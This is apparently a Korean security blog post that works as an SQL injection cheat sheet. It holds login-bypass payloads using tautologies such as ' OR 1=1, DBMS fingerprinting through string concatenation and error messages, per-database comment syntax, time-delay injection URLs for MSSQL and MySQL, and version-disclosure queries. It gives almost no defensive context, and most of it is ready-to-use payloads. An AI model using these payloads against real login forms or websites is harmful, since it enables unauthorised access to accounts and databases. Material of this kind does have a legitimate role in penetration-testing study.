1. 로그인 시도
1-1. user 테이블의 모든 행 반환 -> 첫번째 계정으로 로그인
[where user = '' OR 1=1 OR '1'='1' AND password='';]
1-2. 만약 user 테이블의 모든 행을 반환하는 방식이 불가능하다면?
- 계정을 안다는 가정하에 해당 계정으로 로그인 시도
[where username='admin' AND 1=1 OR '1'='1' AND password='';]
2. SQL Server 별 문자열 결합
2-1. MSSQL >> 'ab'='a'+'b'
2-2. MySQL >> 'ab'='a' 'b'
2-3. ORACLE >> 'ab'='a'||'b'
* 위의 결합을 통해 무슨 서버인지 확인 가능
ex) http://www.rootable.com?User=Bob (original request)
http://www.rootable,com?User=B'+'ob (MSSQL Server)
http://www.rootable,com?User=B''ob (MySQL Server)
http://www.rootable,com?User=B'||'ob (Oracle Server)
3. 에러를 통해 SQL Server 분류하기
3-1. MSSQL >> [Server Error in '/' Application]
3-2. Mysql >> [Warning: 혹은 Error:]
3-3. ORACLE >> [java.sql.SQLException: 혹은 Error: 혹은 Exception Details 혹은 ORA-xxx]
4. SQL Server별 주석
데이터베이스 |
주석처리 구문 |
|
MSSQL and ORACLE |
한 줄 주석처리 |
-- |
다중라인 주석처리 | /* */ | |
MySQL |
한 줄 주석처리 |
-- (두번째 dash 뒤 공백이나 기타 제어문자 필요) |
한 줄 주석처리 |
# |
|
다중라인 주석처리 | /* */ | |
한 줄 주석처리 | ;%00 |
5. SQL Server별 시간지연 예제
5.1 MSSQL
> http://www.rootable.com/basket.aspx?uid=45;waitfor delay '0:0:5';--
5.2 MySQL
> http://www.rootable.com/display.php?id=32; SELECT BENCHMARK(100000,ENCODE('hello','mom'));--
5.3 ORACLE
> 불가능 (DBMS_LOCK.SLEEP() 이라는 함수가 존재하지만 서브쿼리 형태로 직접 Injection할 수 없을 뿐더라 DBMS_LOCK 패키지는 오직 DBA에 의해서만 사용 가능)
6. SQL Server별 버전 출력 쿼리
데이터베이스 서버 |
쿼리 |
Microsoft SQL Server |
SELECT @@version |
MySQL |
SELECT version() SELECT @@version |
Oracle |
SELECT banner FROM v$version SELECT banner FROM v$version WHERE rownum=1 |
'Hacking > Web' 카테고리의 다른 글
SQL Injection 필터링 우회 (0) | 2017.11.13 |
---|---|
파일업로드 확장자 우회 (0) | 2017.11.05 |
XST에 대해 알아보자 (1) | 2017.05.09 |
LFI&RFI (0) | 2017.03.08 |
Command_injection (0) | 2017.03.08 |